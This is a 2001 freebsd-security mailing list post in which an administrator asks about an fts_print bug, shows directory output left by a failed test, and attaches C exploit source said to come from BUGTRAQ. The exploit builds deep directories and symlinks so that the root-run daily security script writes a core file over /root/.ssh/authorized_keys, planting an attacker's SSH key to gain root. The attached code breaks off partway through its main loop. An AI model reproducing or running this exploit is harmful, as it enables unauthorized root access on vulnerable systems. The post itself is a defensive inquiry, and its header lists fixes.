From owner-freebsd-security Thu Nov 22 15:54: 8 2001 Delivered-To: freebsd-security@freebsd.org Received: from c7.campus.utcluj.ro (c7.campus.utcluj.ro [193.226.6.226]) by hub.freebsd.org (Postfix) with SMTP id DF76F37B416 for ; Thu, 22 Nov 2001 15:53:58 -0800 (PST) Received: (qmail 5231 invoked by uid 1008); 22 Nov 2001 23:55:05 -0000 Date: Fri, 23 Nov 2001 01:55:05 +0200 From: veedee@c7.campus.utcluj.ro To: freebsd-security@freebsd.org Subject: fts_print bug? Message-ID: <20011123015505.A5165@c7.campus.utcluj.ro> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="YiEDa0DAkWCtVeE4" Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --YiEDa0DAkWCtVeE4 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Does anyone know anything about this? It didn't worked on my box (4.3-RELEASE), but it did make some directories which I can't erase anymore... [#] rm -r 4965/ rm: fts_read: File name too long [#] ls -lR 4965/ [[0m4965: total 1 drwxr-xr-x 3 john users 512 Nov 23 01:48 [[01;34m YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE! [[0m 4965/ YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE! : total 1 drwxr-xr-x 3 john users 512 Nov 23 01:48 [[01;34mAAAAAAAAAAAAAAAAAA 4965/ YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE! /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA total 1 drwxr-xr-x 3 john users 512 Nov 23 01:48 [[01;34m YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE! [[0m 4965/ YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE! /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE! : total 1 drwxr-xr-x 3 john users 512 Nov 23 01:48 [[01;34mAAAAAAAAAAAAAAAAAA 4965/ YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE! /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE! /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA total 1 drwxr-xr-x 3 john users 512 Nov 23 01:48 [[01;34m YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE! [[0m 4965/ YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE! /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE! /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE! ---- Sorry for the messy output. A friend of mine found the "exploit" (see attachement) on BUGTRAQ. Best regards, Radu Bogdan Rusu (aka veedee) C7 Campus Network System Administrator --YiEDa0DAkWCtVeE4 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="a.c" /* (c) 1999 babcia padlina ltd. bug in fts_print function allows to overwrite any file in system, when running /etc/security script (executed from 'daily' scripts). affected systems: - freebsd (all versions) - probably openbsd/netbsd fix: - limit root's coredump size - patch libc */ #include #include #include #include #include #define STRING "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n" #define FILE "/root/.ssh/authorized_keys" #define CORE "find.core" #define DEPTH 300 #define BUFSIZE 250 int makedir(dir, linkfrom, linkto) char *dir, *linkfrom, *linkto; { if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO))) return -1; if (chdir(dir)) return -1; if (symlink(linkfrom, linkto) < 0) return -1; return 0; } int main(argc, argv) int argc; char **argv; { int i = 0; char pid[10], buf[BUFSIZE]; sprintf(pid, "%d", getpid()); if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO))) { perror("mkdir()"); return -1; } if (chdir(pid)) { perror("chdir()"); return -1; } bzero(buf, BUFSIZE); memset(buf, 0x41, BUFSIZE-1); for(i=0;i